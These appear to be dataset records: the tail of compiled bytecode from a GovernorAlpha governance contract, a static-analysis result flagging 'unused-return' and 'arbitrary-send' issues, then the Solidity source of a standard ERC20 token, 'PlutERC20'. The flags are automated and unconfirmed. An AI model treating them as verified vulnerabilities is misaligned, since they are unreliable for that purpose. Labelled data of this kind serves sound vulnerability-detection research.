8354040283529160200191612241565b820191906000526020600020905b81548152906001019060200180831161222457829003601f168201915b5050505050866129a3565b808060010191505061207c565b508082600201819055507f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda2892838260405161229492919061507b565b60405180910390a1505050565b6040516122ad906148a1565b604051809103902081565b6122c0612df9565b60046000848152602001908152602001600020600d0160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff161515151581526020016000820160029054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905092915050565b600560078111156123a757fe5b6123b082610c80565b60078111156123bb57fe5b146123fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f290614c99565b60405180910390fd5b6000600460008381526020019081526020016000209050600181600c0160016101000a81548160ff02191690831515021790555060008090505b81600401805490508110156125ab576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f83600501838154811061249057fe5b90600052602060002001548460040184815481106124aa57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168560050185815481106124e457fe5b90600052602060002001548660060186815481106124fe57fe5b9060005260206000200187600701878154811061251757fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401612546959493929190614a28565b6000604051808303818588803b15801561255f57600080fd5b505af1158015612573573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f8201168201806040525061259d919081019061361d565b508080600101915050612435565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f826040516125db9190614f14565b60405180910390a15050565b6000670de0b6b3a76400006126176125ff8585612b77565b6002670de0b6b3a76400008161261157fe5b046128f6565b8161261e57fe5b04905092915050565b6001600781111561263457fe5b61263d83610c80565b600781111561264857fe5b14612688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267f90614eb9565b60405180910390fd5b6000600460008481526020019081526020016000209050600081600d0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff1615151461273c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273390614d39565b60405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18785600801546040518363ffffffff1660e01b815260040161279f929190614959565b60206040518083038186803b1580156127b757600080fd5b505afa1580156127cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506127ef919081019061379f565b905083156128205761281383600a0154826bffffffffffffffffffffffff166128f6565b83600a0181905550612845565b61283c83600b0154826bffffffffffffffffffffffff166128f6565b83600b01819055505b60018260000160006101000a81548160ff021916908315150217905550838260000160016101000a81548160ff021916908315150217905550808260000160026101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055507f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c46868686846040516128e69493929190614982565b60405180910390a1505050505050565b6000828284019150811015612940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293790614d19565b60405180910390fd5b92915050565b6000828284039150811115612990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298790614c59565b60405180910390fd5b92915050565b6000804690508091505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2b0653786868686866040516020016129f99594939291906149c7565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401612a2b9190614aea565b60206040518083038186803b158015612a4357600080fd5b505afa158015612a57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612a7b91908101906135cb565b15612abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ab290614df9565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f90186868686866040518663ffffffff1660e01b8152600401612b1d9594939291906149c7565b602060405180830381600087803b158015612b3757600080fd5b505af1158015612b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612b6f91908101906135f4565b505050505050565b600080821480612b945750828283850292508281612b9157fe5b04145b612bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bca90614d19565b60405180910390fd5b92915050565b604051806101c0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215612cdb579160200282015b82811115612cda5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190612c82565b5b509050612ce89190612e2c565b5090565b828054828255906000526020600020908101928215612d28579160200282015b82811115612d27578251825591602001919060010190612d0c565b5b509050612d359190612e6f565b5090565b828054828255906000526020600020908101928215612d88579160200282015b82811115612d87578251829080519060200190612d77929190612e94565b5091602001919060010190612d59565b5b509050612d959190612f14565b5090565b828054828255906000526020600020908101928215612de8579160200282015b82811115612de7578251829080519060200190612dd7929190612f40565b5091602001919060010190612db9565b5b509050612df59190612fc0565b5090565b604051806060016040528060001515815260200160001515815260200160006bffffffffffffffffffffffff1681525090565b612e6c91905b80821115612e6857600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101612e32565b5090565b90565b612e9191905b80821115612e8d576000816000905550600101612e75565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612ed557805160ff1916838001178555612f03565b82800160010185558215612f03579182015b82811115612f02578251825591602001919060010190612ee7565b5b509050612f109190612e6f565b5090565b612f3d91905b80821115612f395760008181612f309190612fec565b50600101612f1a565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612f8157805160ff1916838001178555612faf565b82800160010185558215612faf579182015b82811115612fae578251825591602001919060010190612f93565b5b509050612fbc9190612e6f565b5090565b612fe991905b80821115612fe55760008181612fdc9190613034565b50600101612fc6565b5090565b90565b50805460018160011615610100020316600290046000825580601f106130125750613031565b601f0160209004906000526020600020908101906130309190612e6f565b5b50565b50805460018160011615610100020316600290046000825580601f1061305a5750613079565b601f0160209004906000526020600020908101906130789190612e6f565b5b50565b60008135905061308b81615552565b92915050565b600082601f8301126130a257600080fd5b81356130b56130b0826150d1565b6150a4565b915081818352602084019350602081019050838560208402820111156130da57600080fd5b60005b8381101561310a57816130f0888261307c565b8452602084019350602083019250506001810190506130dd565b5050505092915050565b600082601f83011261312557600080fd5b8135613138613133826150f9565b6150a4565b9150818183526020840193506020810190508360005b8381101561317e578135860161316488826132d3565b84526020840193506020830192505060018101905061314e565b5050505092915050565b600082601f83011261319957600080fd5b81356131ac6131a782615121565b6150a4565b9150818183526020840193506020810190508360005b838110156131f257813586016131d8888261337b565b8452602084019350602083019250506001810190506131c2565b5050505092915050565b600082601f83011261320d57600080fd5b813561322061321b82615149565b6150a4565b9150818183526020840193506020810190508385602084028201111561324557600080fd5b60005b83811015613275578161325b8882613423565b845260208401935060208301925050600181019050613248565b5050505092915050565b60008135905061328e81615569565b92915050565b6000815190506132a381615569565b92915050565b6000813590506132b881615580565b92915050565b6000815190506132cd81615580565b92915050565b600082601f8301126132e457600080fd5b81356132f76132f282615171565b6150a4565b9150808252602083016020830185838301111561331357600080fd5b61331e8382846154e8565b50505092915050565b600082601f83011261333857600080fd5b815161334b6133468261519d565b6150a4565b9150808252602083016020830185838301111561336757600080fd5b6133728382846154f7565b50505092915050565b600082601f83011261338c57600080fd5b813561339f61339a826151c9565b6150a4565b915080825260208301602083018583830111156133bb57600080fd5b6133c68382846154e8565b50505092915050565b600082601f8301126133e057600080fd5b81356133f36133ee826151f5565b6150a4565b9150808252602083016020830185838301111561340f57600080fd5b61341a8382846154e8565b50505092915050565b60008135905061343281615597565b92915050565b60008151905061344781615597565b92915050565b60008135905061345c816155ae565b92915050565b600081519050613471816155c5565b92915050565b60006020828403121561348957600080fd5b60006134978482850161307c565b91505092915050565b600080604083850312156134b357600080fd5b60006134c18582860161307c565b92505060206134d285828601613423565b9150509250929050565b600080600080600060a086880312156134f457600080fd5b600086013567ffffffffffffffff81111561350e57600080fd5b61351a88828901613091565b955050602086013567ffffffffffffffff81111561353757600080fd5b613543888289016131fc565b945050604086013567ffffffffffffffff81111561356057600080fd5b61356c88828901613188565b935050606086013567ffffffffffffffff81111561358957600080fd5b61359588828901613114565b925050608086013567ffffffffffffffff8111156135b257600080fd5b6135be888289016133cf565b9150509295509295909350565b6000602082840312156135dd57600080fd5b60006135eb84828501613294565b91505092915050565b60006020828403121561360657600080fd5b6000613614848285016132be565b91505092915050565b60006020828403121561362f57600080fd5b600082015167ffffffffffffffff81111561364957600080fd5b61365584828501613327565b91505092915050565b60006020828403121561367057600080fd5b600061367e84828501613423565b91505092915050565b60006020828403121561369957600080fd5b60006136a784828501613438565b91505092915050565b600080604083850312156136c357600080fd5b60006136d185828601613423565b92505060206136e28582860161307c565b9150509250929050565b600080604083850312156136ff57600080fd5b600061370d85828601613423565b925050602061371e8582860161327f565b9150509250929050565b600080600080600060a0868803121561374057600080fd5b600061374e88828901613423565b955050602061375f8882890161327f565b94505060406137708882890161344d565b9350506060613781888289016132a9565b9250506080613792888289016132a9565b9150509295509295909350565b6000602082840312156137b157600080fd5b60006137bf84828501613462565b91505092915050565b60006137d4838361382f565b60208301905092915050565b60006137ec8383613a70565b905092915050565b60006138008383613bad565b905092915050565b6000613814838361480a565b60208301905092915050565b61382981615434565b82525050565b613838816153aa565b82525050565b613847816153aa565b82525050565b60006138588261528b565b6138628185615317565b935061386d83615221565b8060005b8381101561389e57815161388588826137c8565b9750613890836152e3565b925050600181019050613871565b5085935050505092915050565b60006138b682615296565b6138c08185615328565b9350836020820285016138d285615231565b8060005b8581101561390e57848403895281516138ef85826137e0565b94506138fa836152f0565b925060208a019950506001810190506138d6565b50829750879550505050505092915050565b600061392b826152a1565b6139358185615339565b93508360208202850161394785615241565b8060005b85811015613983578484038952815161396485826137f4565b945061396f836152fd565b925060208a0199505060018101905061394b565b50829750879550505050505092915050565b60006139a0826152ac565b6139aa818561534a565b93506139b583615251565b8060005b838110156139e65781516139cd8882613808565b97506139d88361530a565b9250506001810190506139b9565b5085935050505092915050565b6139fc816153bc565b82525050565b613a0b816153bc565b82525050565b613a1a816153c8565b82525050565b613a31613a2c826153c8565b61552a565b82525050565b6000613a42826152c2565b613a4c818561536c565b9350613a5c8185602086016154f7565b613a6581615534565b840191505092915050565b6000613a7b826152b7565b613a85818561535b565b9350613a958185602086016154f7565b613a9e81615534565b840191505092915050565b600081546001811660008114613ac65760018114613aec57613b30565b607f6002830416613ad7818761536c565b955060ff198316865260208601935050613b30565b60028204613afa818761536c565b9550613b0585615261565b60005b82811015613b2757815481890152600182019150602081019050613b08565b80880195505050505b505092915050565b613b4181615446565b82525050565b613b508161546a565b82525050565b613b5f8161548e565b82525050565b613b6e816154a0565b82525050565b6000613b7f826152d8565b613b89818561538e565b9350613b998185602086016154f7565b613ba281615534565b840191505092915050565b6000613bb8826152cd565b613bc2818561537d565b9350613bd28185602086016154f7565b613bdb81615534565b840191505092915050565b6000613bf1826152cd565b613bfb818561538e565b9350613c0b8185602086016154f7565b613c1481615534565b840191505092915050565b600081546001811660008114613c3c5760018114613c6257613ca6565b607f6002830416613c4d818761538e565b955060ff198316865260208601935050613ca6565b60028204613c70818761538e565b9550613c7b85615276565b60005b82811015613c9d57815481890152600182019150602081019050613c7e565b80880195505050505b505092915050565b6000613cbb60398361538e565b91507f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560008301527f6e646572206d75737420626520676f7620677561726469616e000000000000006020830152604082019050919050565b6000613d2160158361538e565b91507f64732d6d6174682d7375622d756e646572666c6f7700000000000000000000006000830152602082019050919050565b6000613d6160448361538e565b91507f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360008301527f616e206f6e6c792062652071756575656420696620697420697320737563636560208301527f65646564000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613ded60458361538e565b91507f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60008301527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208301527f75657565640000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613e7960028361539f565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000613eb9604c8361538e565b91507f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c60008301527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208301527f676f7620677561726469616e00000000000000000000000000000000000000006040830152606082019050919050565b6000613f45602f8361538e565b91507f476f7665726e6f72416c7068613a3a71756f72756d566f7465733a20696e766160008301527f6c69642070726f706f73616c20696400000000000000000000000000000000006020830152604082019050919050565b6000613fab60188361538e565b91507f73657450656e64696e6741646d696e28616464726573732900000000000000006000830152602082019050919050565b6000613feb60298361538e565b91507f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707260008301527f6f706f73616c20696400000000000000000000000000000000000000000000006020830152604082019050919050565b6000614051600d8361538e565b91507f6d6174682d6e6f742d73616665000000000000000000000000000000000000006000830152602082019050919050565b6000614091602d8361538e565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060008301527f616c726561647920766f746564000000000000000000000000000000000000006020830152604082019050919050565b60006140f760598361538e565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c72656164792070656e64696e672070726f706f73616c000000000000006040830152606082019050919050565b6000614183604a8361538e565b91507f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6360008301527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f60208301527f7620677561726469616e000000000000000000000000000000000000000000006040830152606082019050919050565b600061420f60288361538e565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960008301527f20616374696f6e730000000000000000000000000000000000000000000000006020830152604082019050919050565b600061427560438361539f565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b600061430160278361539f565b91507f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207360008301527f7570706f727429000000000000000000000000000000000000000000000000006020830152602782019050919050565b600061436760448361538e565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60008301527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208301527f61746368000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006143f3602f8361538e565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060008301527f61626f7665207468726573686f6c6400000000000000000000000000000000006020830152604082019050919050565b600061445960448361538e565b91507f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060008301527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208301527f20657461000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006144e5602c8361538e565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60008301527f7669646520616374696f6e7300000000000000000000000000000000000000006020830152604082019050919050565b600061454b603f8361538e565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260008301527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c64006020830152604082019050919050565b60006145b1602f8361538e565b91507f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60008301527f76616c6964207369676e617475726500000000000000000000000000000000006020830152604082019050919050565b600061461760588361538e565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c7265616479206163746976652070726f706f73616c00000000000000006040830152606082019050919050565b60006146a360368361538e565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636160008301527f6e63656c2065786563757465642070726f706f73616c000000000000000000006020830152604082019050919050565b6000614709602a8361538e565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6760008301527f20697320636c6f736564000000000000000000000000000000000000000000006020830152604082019050919050565b600061476f60368361538e565b91507f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e646560008301527f72206d75737420626520676f7620677561726469616e000000000000000000006020830152604082019050919050565b6060820160008201516147de60008501826139f3565b5060208201516147f160208501826139f3565b5060408201516148046040850182614846565b50505050565b61481381615405565b82525050565b61482281615405565b82525050565b6148318161540f565b82525050565b614840816154d6565b82525050565b61484f8161541c565b82525050565b600061486082613e6c565b915061486c8285613a20565b60208201915061487c8284613a20565b6020820191508190509392505050565b600061489782614268565b9150819050919050565b60006148ac826142f4565b9150819050919050565b60006020820190506148cb600083018461383e565b92915050565b60006040820190506148e66000830185613820565b6148f36020830184614819565b9392505050565b600060a08201905061490f600083018761383e565b61491c6020830186613b65565b818103604083015261492d81613f9e565b905081810360608301526149418185613a37565b90506149506080830184614819565b95945050505050565b600060408201905061496e600083018561383e565b61497b6020830184614819565b9392505050565b6000608082019050614997600083018761383e565b6149a46020830186614819565b6149b16040830185613a02565b6149be6060830184614837565b95945050505050565b600060a0820190506149dc600083018861383e565b6149e96020830187614819565b81810360408301526149fb8186613b74565b90508181036060830152614a0f8185613a37565b9050614a1e6080830184614819565b9695505050505050565b600060a082019050614a3d600083018861383e565b614a4a6020830187614819565b8181036040830152614a5c8186613c1f565b90508181036060830152614a708185613aa9565b9050614a7f6080830184614819565b9695505050505050565b60006080820190508181036000830152614aa3818761384d565b90508181036020830152614ab78186613995565b90508181036040830152614acb8185613920565b90508181036060830152614adf81846138ab565b905095945050505050565b6000602082019050614aff6000830184613a11565b92915050565b6000608082019050614b1a6000830187613a11565b614b276020830186613a11565b614b346040830185614819565b614b41606083018461383e565b95945050505050565b6000606082019050614b5f6000830186613a11565b614b6c6020830185614819565b614b796040830184613a02565b949350505050565b6000608082019050614b966000830187613a11565b614ba36020830186614828565b614bb06040830185613a11565b614bbd6060830184613a11565b95945050505050565b6000602082019050614bdb6000830184613b38565b92915050565b6000602082019050614bf66000830184613b47565b92915050565b6000602082019050614c116000830184613b56565b92915050565b60006020820190508181036000830152614c318184613be6565b905092915050565b60006020820190508181036000830152614c5281613cae565b9050919050565b60006020820190508181036000830152614c7281613d14565b9050919050565b60006020820190508181036000830152614c9281613d54565b9050919050565b60006020820190508181036000830152614cb281613de0565b9050919050565b60006020820190508181036000830152614cd281613eac565b9050919050565b60006020820190508181036000830152614cf281613f38565b9050919050565b60006020820190508181036000830152614d1281613fde565b9050919050565b60006020820190508181036000830152614d3281614044565b9050919050565b60006020820190508181036000830152614d5281614084565b9050919050565b60006020820190508181036000830152614d72816140ea565b9050919050565b60006020820190508181036000830152614d9281614176565b9050919050565b60006020820190508181036000830152614db281614202565b9050919050565b60006020820190508181036000830152614dd28161435a565b9050919050565b60006020820190508181036000830152614df2816143e6565b9050919050565b60006020820190508181036000830152614e128161444c565b9050919050565b60006020820190508181036000830152614e32816144d8565b9050919050565b60006020820190508181036000830152614e528161453e565b9050919050565b60006020820190508181036000830152614e72816145a4565b9050919050565b60006020820190508181036000830152614e928161460a565b9050919050565b60006020820190508181036000830152614eb281614696565b9050919050565b60006020820190508181036000830152614ed2816146fc565b9050919050565b60006020820190508181036000830152614ef281614762565b9050919050565b6000606082019050614f0e60008301846147c8565b92915050565b6000602082019050614f296000830184614819565b92915050565b600061012082019050614f45600083018c614819565b614f52602083018b613820565b8181036040830152614f64818a61384d565b90508181036060830152614f788189613995565b90508181036080830152614f8c8188613920565b905081810360a0830152614fa081876138ab565b9050614faf60c0830186614819565b614fbc60e0830185614819565b818103610100830152614fcf8184613b74565b90509a9950505050505050505050565b600061014082019050614ff5600083018d614819565b615002602083018c61383e565b61500f604083018b614819565b61501c606083018a614819565b6150296080830189614819565b61503660a0830188614819565b61504360c0830187614819565b61505060e0830186614819565b61505e610100830185613a02565b61506c610120830184613a02565b9b9a5050505050505050505050565b60006040820190506150906000830185614819565b61509d6020830184614819565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156150c757600080fd5b8060405250919050565b600067ffffffffffffffff8211156150e857600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561511057600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561513857600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561516057600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561518857600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff8211156151b457600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff8211156151e057600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff82111561520c57600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006153b5826153e5565b9050919050565b60008115159050919050565b6000819050919050565b60008190506153e082615545565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b600061543f826154b2565b9050919050565b600061545182615458565b9050919050565b6000615463826153e5565b9050919050565b60006154758261547c565b9050919050565b6000615487826153e5565b9050919050565b6000615499826153d2565b9050919050565b60006154ab82615405565b9050919050565b60006154bd826154c4565b9050919050565b60006154cf826153e5565b9050919050565b60006154e18261541c565b9050919050565b82818337600083830152505050565b60005b838110156155155780820151818401526020810190506154fa565b83811115615524576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b6008811061554f57fe5b50565b61555b816153aa565b811461556657600080fd5b50565b615572816153bc565b811461557d57600080fd5b50565b615589816153c8565b811461559457600080fd5b50565b6155a081615405565b81146155ab57600080fd5b50565b6155b78161540f565b81146155c257600080fd5b50565b6155ce8161541c565b81146155d957600080fd5b5056fea365627a7a723158203a945ee0871d84ad371dbce2c55bef93a8535f1ace06adba4529de5b383f90846c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,705
0xC6d194E7fb72c7b1b7b1D5199468fA7be1E1cA1c
pragma solidity ^0.8.0; contract PlutERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor() { _name = "DePlutus Token"; _symbol = "PLUT"; _mint(0xcBC527DE87DaD15323337685B48A13832fc4F199, 1000000000e18); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
